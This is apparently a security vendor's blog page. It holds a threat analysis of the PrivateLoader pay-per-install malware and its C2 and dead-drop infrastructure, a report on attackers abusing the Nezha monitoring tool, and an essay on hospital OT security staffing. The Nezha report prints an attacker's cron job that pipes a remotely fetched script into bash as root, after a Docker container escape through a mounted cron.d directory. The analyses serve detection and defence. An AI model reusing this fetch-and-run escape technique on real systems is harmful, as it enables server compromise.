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July 26, 2022

Identifying PrivateLoader Network Threats

Learn how Darktrace identifies network-based indicators of compromise for the PrivateLoader malware. Gain insights into advanced threat detection.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Shuh Chin Goh
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26
Jul 2022

Instead of delivering their malicious payloads themselves, threat actors can pay certain cybercriminals (known as pay-per-install (PPI) providers) to deliver their payloads for them. Since January 2022, Darktrace’s SOC has observed several cases of PPI providers delivering their clients’ payloads using a modular malware downloader known as ‘PrivateLoader’.

This blog will explore how these PPI providers installed PrivateLoader onto systems and outline the steps which the infected PrivateLoader bots took to install further malicious payloads. The details provided here are intended to provide insight into the operations of PrivateLoader and to assist security teams in identifying PrivateLoader bots within their own networks.  

Threat Summary 

Between January and June 2022, Darktrace identified the following sequence of network behaviours within the environments of several Darktrace clients. Patterns of activity involving these steps are paradigmatic examples of PrivateLoader activity:

1. A victim’s device is redirected to a page which instructs them to download a password-protected archive file from a file storage service — typically Discord Content Delivery Network (CDN)

2. The device contacts a file storage service (typically Discord CDN) via SSL connections

3. The device either contacts Pastebin via SSL connections, makes an HTTP GET request with the URI string ‘/server.txt’ or ‘server_p.txt’ to 45.144.225[.]57, or makes an HTTP GET request with the URI string ‘/proxies.txt’ to 212.193.30[.]45

4. The device makes an HTTP GET request with the URI string ‘/base/api/statistics.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126 or 2.56.59[.]42

5. The device contacts a file storage service (typically Discord CDN) via SSL connections

6. The device makes a HTTP POST request with the URI string ‘/base/api/getData.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126 or 2.56.59[.]42

7. The device finally downloads malicious payloads from a variety of endpoints

The PPI Business 

Before exploring PrivateLoader in more detail, the pay-per-install (PPI) business should be contextualized. This consists of two parties:  

1. PPI clients - actors who want their malicious payloads to be installed onto a large number of target systems. PPI clients are typically entry-level threat actors who seek to widely distribute commodity malware [1]

2. PPI providers - actors who PPI clients can pay to install their malicious payloads 

As the smugglers of the cybercriminal world, PPI providers typically advertise their malware delivery services on underground web forums. In some cases, PPI services can even be accessed via Clearnet websites such as InstallBest and InstallShop [2] (Figure 1).  

Figure 1: A snapshot of the InstallBest PPI login page [2]


To utilize a PPI provider’s service, a PPI client must typically specify: 

(A)  the URLs of the payloads which they want to be installed

(B)  the number of systems onto which they want their payloads to be installed

(C)  their geographical targeting preferences. 

Payment of course, is also required. To fulfil their clients’ requests, PPI providers typically make use of downloaders - malware which instructs the devices on which it is running to download and execute further payloads. PPI providers seek to install their downloaders onto as many systems as possible. Follow-on payloads are usually determined by system information garnered and relayed back to the PPI providers’ command and control (C2) infrastructure. PPI providers may disseminate their downloaders themselves, or they may outsource the dissemination to third parties called ‘affiliates’ [3].  

Back in May 2021, Intel 471 researchers became aware of PPI providers using a novel downloader (dubbed ‘PrivateLoader’) to conduct their operations. Since Intel 471’s public disclosure of the downloader back in Feb 2022 [4], several other threat research teams, such as the Walmart Cyber Intel Team [5], Zscaler ThreatLabz [6], and Trend Micro Research [7] have all provided valuable insights into the downloader’s behaviour. 

Anatomy of a PrivateLoader Infection

The PrivateLoader downloader, which is written in C++, was originally monolithic (i.e, consisted of only one module). At some point, however, the downloader became modular (i.e, consisting of multiple modules). The modules communicate via HTTP and employ various anti-analysis methods. PrivateLoader currently consists of the following three modules [8]: 

  • The loader module: Instructs the system on which it is running to retrieve the IP address of the main C2 server and to download and execute the PrivateLoader core module
  • The core module: Instructs the system on which it is running to send system information to the main C2 server, to download and execute further malicious payloads, and to relay information regarding installed payloads back to the main C2 server
  • The service module: Instructs the system on which it is running to keep the PrivateLoader modules running

Kill Chain Deep-Dive 

The chain of activity starts with the user’s browser being redirected to a webpage which instructs them to download a password-protected archive file from a file storage service such as Discord CDN. Discord is a popular VoIP and instant messaging service, and Discord CDN is the service’s CDN infrastructure. In several cases, the webpages to which users’ browsers were redirected were hosted on ‘hero-files[.]com’ (Figure 2), ‘qd-files[.]com’, and ‘pu-file[.]com’ (Figure 3). 

Figure 2: An image of a page hosted on hero-files[.]com - an endpoint which Darktrace observed systems contacting before downloading PrivateLoader from Discord CDN
Figure 3: An image of a page hosted on pu-file[.]com- an endpoint which Darktrace observed systems contacting before downloading PrivateLoader from Discord CDN


On attempting to download cracked/pirated software, users’ browsers were typically redirected to download instruction pages. In one case however, a user’s device showed signs of being infected with the malicious Chrome extension, ChromeBack [9], immediately before it contacted a webpage providing download instructions (Figure 4). This may suggest that cracked software downloads are not the only cause of users’ browsers being redirected to these download instruction pages (Figure 5). 

Figure 4: The event log for this device (taken from the Darktrace Threat Visualiser interface) shows that the device contacted endpoints associated with ChromeBack ('freychang[.]fun') prior to visiting a page ('qd-file[.]com') which instructed the device’s user to download an archive file from Discord CDN
 Figure 5: An image of the website 'crackright[.]com'- a provider of cracked software. Systems which attempted to download software from this website were subsequently led to pages providing instructions to download a password-protected archive from Discord CDN


After users’ devices were redirected to pages instructing them to download a password-protected archive, they subsequently contacted cdn.discordapp[.]com over SSL. The archive files which users downloaded over these SSL connections likely contained the PrivateLoader loader module. Immediately after contacting the file storage endpoint, users’ devices were observed either contacting Pastebin over SSL, making an HTTP GET request with the URI string ‘/server.txt’ or ‘server_p.txt’ to 45.144.225[.]57, or making an HTTP GET request with the URI string ‘/proxies.txt’ to 212.193.30[.]45 (Figure 6).

Distinctive user-agent strings such as those containing question marks (e.g. ‘????ll’) and strings referencing outdated Chrome browser versions were consistently seen in these HTTP requests. The following chrome agent was repeatedly observed: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36’.

In some cases, devices also displayed signs of infection with other strains of malware such as the RedLine infostealer and the BeamWinHTTP malware downloader. This may suggest that the password-protected archives embedded several payloads.

Figure 6: This figure, obtained from Darktrace's Advanced Search interface, represents the post-infection behaviour displayed by a PrivateLoader bot. After visiting hero-files[.]com and downloading the PrivateLoader loader module from Discord CDN, the device can be seen making HTTP GET requests for ‘/proxies.txt’ and ‘/server.txt’ and contacting pastebin[.]com

It seems that PrivateLoader bots contact Pastebin, 45.144.225[.]57, and 212.193.30[.]45 in order to retrieve the IP address of PrivateLoader’s main C2 server - the server which provides PrivateLoader bots with payload URLs. This technique used by the operators of PrivateLoader closely mirrors the well-known espionage tactic known as ‘dead drop’.

The dead drop is a method of espionage tradecraft in which an individual leaves a physical object such as papers, cash, or weapons in an agreed hiding spot so that the intended recipient can retrieve the object later on without having to come in to contact with the source. When threat actors host information about core C2 infrastructure on intermediary endpoints, the hosted information is analogously called a ‘Dead Drop Resolver’ or ‘DDR’. Example URLs of DDRs used by PrivateLoader:

  • https://pastebin[.]com/...
  • http://212.193.30[.]45/proxies.txt
  • http://45.144.225[.]57/server.txt
  • http://45.144.255[.]57/server_p.txt

The ‘proxies.txt’ DDR hosted on 212.193.40[.]45 contains a list of 132 IP address / port pairs. The 119th line of this list includes a scrambled version of the IP address of PrivateLoader’s main C2 server (Figures 7 & 8). Prior to June, it seems that the main C2 IP address was ‘212.193.30[.]21’, however, the IP address appears to have recently changed to ‘85.202.169[.]116’. In a limited set of cases, Darktrace also observed PrivateLoader bots retrieving payload URLs from 2.56.56[.]126 and 2.56.59[.]42 (rather than from 212.193.30[.]21 or 85.202.169[.]116). These IP addresses may be hardcoded secondary C2 address which PrivateLoader bots use in cases where they are unable to retrieve the primary C2 address from Pastebin, 212.193.30[.]45 or 45.144.255[.]57 [10]. 

Figure 7: Before June, the 119th entry of the ‘proxies.txt’ file lists '30.212.21.193' -  a scrambling of the ‘212.193.30[.]21’ main C2 IP address
Figure 8: Since June, the 119th entry of the ‘proxies.txt’ file lists '169.85.116.202' - a scrambling of the '85.202.169[.]116' main C2 IP address

Once PrivateLoader bots had retrieved C2 information from either Pastebin, 45.144.225[.]57, or 212.193.30[.]45, they went on to make HTTP GET requests for ‘/base/api/statistics.php’ to either 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126, or 2.56.59[.]42 (Figure 9). The server responded to these requests with an XOR encrypted string. The strings were encrypted using a 1-byte key [11], such as 0001101 (Figure 10). Decrypting the string revealed a URL for a BMP file hosted on Discord CDN, such as ‘hxxps://cdn.discordapp[.]com/attachments/978284851323088960/986671030670078012/PL_Client.bmp’. These encrypted URLs appear to be file download paths for the PrivateLoader core module. 

Figure 9: HTTP response from server to an HTTP GET request for '/base/api/statistics.php'
Figure 10: XOR decrypting the string with the one-byte key, 00011101, outputs a URL in CyberChef

After PrivateLoader bots retrieved the 'cdn.discordapp[.]com’ URL from 212.193.30[.]21, 85.202.169[.]116, 2.56.56[.]126, or 2.56.59[.]42, they immediately contacted Discord CDN via SSL connections in order to obtain the PrivateLoader core module. Execution of this module resulted in the bots making HTTP POST requests (with the URI string ‘/base/api/getData.php’) to the main C2 address (Figures 11 & 12). Both the data which the PrivateLoader bots sent over these HTTP POST requests and the data returned via the C2 server’s HTTP responses were heavily encrypted using a combination of password-based key derivation, base64 encoding, AES encryption, and HMAC validation [12]. 

Figure 11: The above image, taken from Darktrace's Advanced Search interface, shows a PrivateLoader bot carrying out the following steps: contact ‘hero-files[.]com’ --> contact ‘cdn.discordapp[.]com’ --> retrieve ‘/proxies.txt’ from 212.193.30[.]45 --> retrieve ‘/base/api/statistics.php’ from 212.193.30[.]21 --> contact ‘cdn.discordapp[.]com --> make HTTP POST request with the URI ‘base/api/getData.php’ to 212.193.30[.]21
Figure 12: A PCAP of the data sent via the HTTP POST (in red), and the data returned by the C2 endpoint (in blue)

These ‘/base/api/getData.php’ POST requests contain a command, a campaign name and a JSON object. The response may either contain a simple status message (such as “success”) or a JSON object containing URLs of payloads. After making these HTTP connections, PrivateLoader bots were observed downloading and executing large volumes of payloads (Figure 13), ranging from crypto-miners to infostealers (such as Mars stealer), and even to other malware downloaders (such as SmokeLoader). In some cases, bots were also seen downloading files with ‘.bmp’ extensions, such as ‘Service.bmp’, ‘Cube_WW14.bmp’, and ‘NiceProcessX64.bmp’, from 45.144.225[.]57 - the same DDR endpoint from which PrivateLoader bots retrieved main C2 information. These ‘.bmp’ payloads are likely related to the PrivateLoader service module [13]. Certain bots made follow-up HTTP POST requests (with the URI string ‘/service/communication.php’) to either 212.193.30[.]21 or 85.202.169[.]116, indicating the presence of the PrivateLoader service module, which has the purpose of establishing persistence on the device (Figure 14). 

Figure 13: The above image, taken from Darktrace's Advanced Search interface, outlines the plethora of malware payloads downloaded by a PrivateLoader bot after it made an HTTP POST request to the ‘/base/api/getData.php’ endpoint. The PrivateLoader service module is highlighted in red
Figure 14: The event log for a PrivateLoader bot, obtained from the Threat Visualiser interface, shows a device making HTTP POST requests to ‘/service/communication.php’ and connecting to the NanoPool mining pool, indicating successful execution of downloaded payloads

In several observed cases, PrivateLoader bots downloaded another malware downloader called ‘SmokeLoader’ (payloads named ‘toolspab2.exe’ and ‘toolspab3.exe’) from “Privacy Tools” endpoints [14], such as ‘privacy-tools-for-you-802[.]com’ and ‘privacy-tools-for-you-783[.]com’. These “Privacy Tools” domains are likely impersonation attempts of the legitimate ‘privacytools[.]io’ website - a website run by volunteers who advocate for data privacy [15]. 

After downloading and executing malicious payloads, PrivateLoader bots were typically seen contacting crypto-mining pools, such as NanoPool, and making HTTP POST requests to external hosts associated with SmokeLoader, such as hosts named ‘host-data-coin-11[.]com’ and ‘file-coin-host-12[.]com’ [16]. In one case, a PrivateLoader bot went on to exfiltrate data over HTTP to an external host named ‘cheapf[.]link’, which was registered on the 14th March 2022 [17]. The name of the file which the PrivateLoader bot used to exfiltrate data was ‘NOP8QIMGV3W47Y.zip’, indicating information stealing activities by Mars Stealer (Figure 15) [18]. By saving the HTTP stream as raw data and utilizing a hex editor to remove the HTTP header portions, the hex data of the ZIP file was obtained. Saving the hex data using a ‘.zip’ extension and extracting the contents, a file directory consisting of system information and Chrome and Edge browsers’ Autofill data in cleartext .txt file format could be seen (Figure 16).

Figure 15: A PCAP of a PrivateLoader bot’s HTTP POST request to cheapf[.]link, with data sent by the bot appearing to include Chrome and Edge autofill data, as well as system information
Figure 16: File directory structure and files of the ZIP archive 

When left unattended, PrivateLoader bots continued to contact C2 infrastructure in order to relay details of executed payloads and to retrieve URLs of further payloads. 

Figure 17: Timeline of the attack

Darktrace Coverage 

Most of the incidents surveyed for this article belonged to prospective customers who were trialling Darktrace with RESPOND in passive mode, and thus without the ability for autonomous intervention. However in all observed cases, Darktrace DETECT was able to provide visibility into the actions taken by PrivateLoader bots. In one case, despite the infected bot being disconnected from the client’s network, Darktrace was still able to provide visibility into the device’s network behaviour due to the client’s usage of Darktrace/Endpoint. 

If a system within an organization’s network becomes infected with PrivateLoader, it will display a range of anomalous network behaviours before it downloads and executes malicious payloads. For example, it will contact Pastebin or make HTTP requests with new and unusual user-agent strings to rare external endpoints. These network behaviours will generate some of the following alerts on the Darktrace UI:

  • Compliance / Pastebin 
  • Device / New User Agent and New IP
  • Device / New User Agent
  • Device / Three or More New User Agents
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / POST to PHP on New External Host
  • Anomalous Connection / Posting HTTP to IP Without Hostname

Once the infected host obtains URLs for malware payloads from a C2 endpoint, it will likely start to download and execute large volumes of malicious files. These file downloads will usually cause Darktrace to generate some of the following alerts:

  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Numeric Exe Download
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Device / Initial Breach Chain Compromise

If RESPOND is deployed in active mode, Darktrace will be able to autonomously block the download of additional malware payloads onto the target machine and the subsequent beaconing or crypto-mining activities through network inhibitors such as ‘Block matching connections’, ‘Enforce pattern of life’ and ‘Block all outgoing traffic’. The ‘Enforce pattern of life’ action results in a device only being able to make connections and data transfers which Darktrace considers normal for that device. The ‘Block all outgoing traffic’ action will cause all traffic originating from the device to be blocked. If the customer has Darktrace’s Proactive Threat Notification (PTN) service, then a breach of an Enhanced Monitoring model such as ‘Device / Initial Breach Chain Compromise’ will result in a Darktrace SOC analyst proactively notifying the customer of the suspicious activity. Below is a list of Darktrace RESPOND (Antigena) models which would be expected to breach due to PrivateLoader activity. Such models can seriously hamper attempts made by PrivateLoader bots to download malicious payloads. 

  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach
  • Antigena / Network / External Threat / Antigena File then New Outbound Block
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block 
  • Antigena / Network / Significant Anomaly / Antigena Breaches Over Time Block

In one observed case, the infected bot began to download malicious payloads within one minute of becoming infected with PrivateLoader. Since RESPOND was correctly configured, it was able to immediately intervene by autonomously enforcing the device’s pattern of life for 2 hours and blocking all of the device’s outgoing traffic for 10 minutes (Figure 17). When malware moves at such a fast pace, the availability of autonomous response technology, which can respond immediately to detected threats, is key for the prevention of further damage.  

Figure 18: The event log for a Darktrace RESPOND (Antigena) model breach shows Darktrace RESPOND performing inhibitive actions once the PrivateLoader bot begins to download payloads

Conclusion

By investigating PrivateLoader infections over the past couple of months, Darktrace has observed PrivateLoader operators making changes to the downloader’s main C2 IP address and to the user-agent strings which the downloader uses in its C2 communications. It is relatively easy for the operators of PrivateLoader to change these superficial network-based features of the malware in order to evade detection [19]. However, once a system becomes infected with PrivateLoader, it will inevitably start to display anomalous patterns of network behaviour characteristic of the Tactics, Techniques and Procedures (TTPs) discussed in this blog.

Throughout 2022, Darktrace observed overlapping patterns of network activity within the environments of several customers, which reveal the archetypal steps of a PrivateLoader infection. Despite the changes made to PrivateLoader’s network-based features, Darktrace’s Self-Learning AI was able to continually identify infected bots, detecting every stage of an infection without relying on known indicators of compromise. When configured, RESPOND was able to immediately respond to such infections, preventing further advancement in the cyber kill chain and ultimately preventing the delivery of floods of payloads onto infected devices.

IoCs

MITRE ATT&CK Techniques Observed

References

[1], [8],[13] https://www.youtube.com/watch?v=Ldp7eESQotM  

[2] https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/

[3] https://www.researchgate.net/publication/228873118_Measuring_Pay-per Install_The_Commoditization_of_Malware_Distribution 

[4], [15] https://intel471.com/blog/privateloader-malware

[5] https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e 

[6], [10],[11], [12] https://www.zscaler.com/blogs/security-research/peeking-privateloader 

[7] https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html

[9] https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/

[14] https://www.proofpoint.com/us/blog/threat-insight/malware-masquerades-privacy-tool 

[16] https://asec.ahnlab.com/en/30513/ 

[17]https://twitter.com/0xrb/status/1515956690642161669

[18] https://isc.sans.edu/forums/diary/Arkei+Variants+From+Vidar+to+Mars+Stealer/28468

[19] http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Written by
Shuh Chin Goh

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

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What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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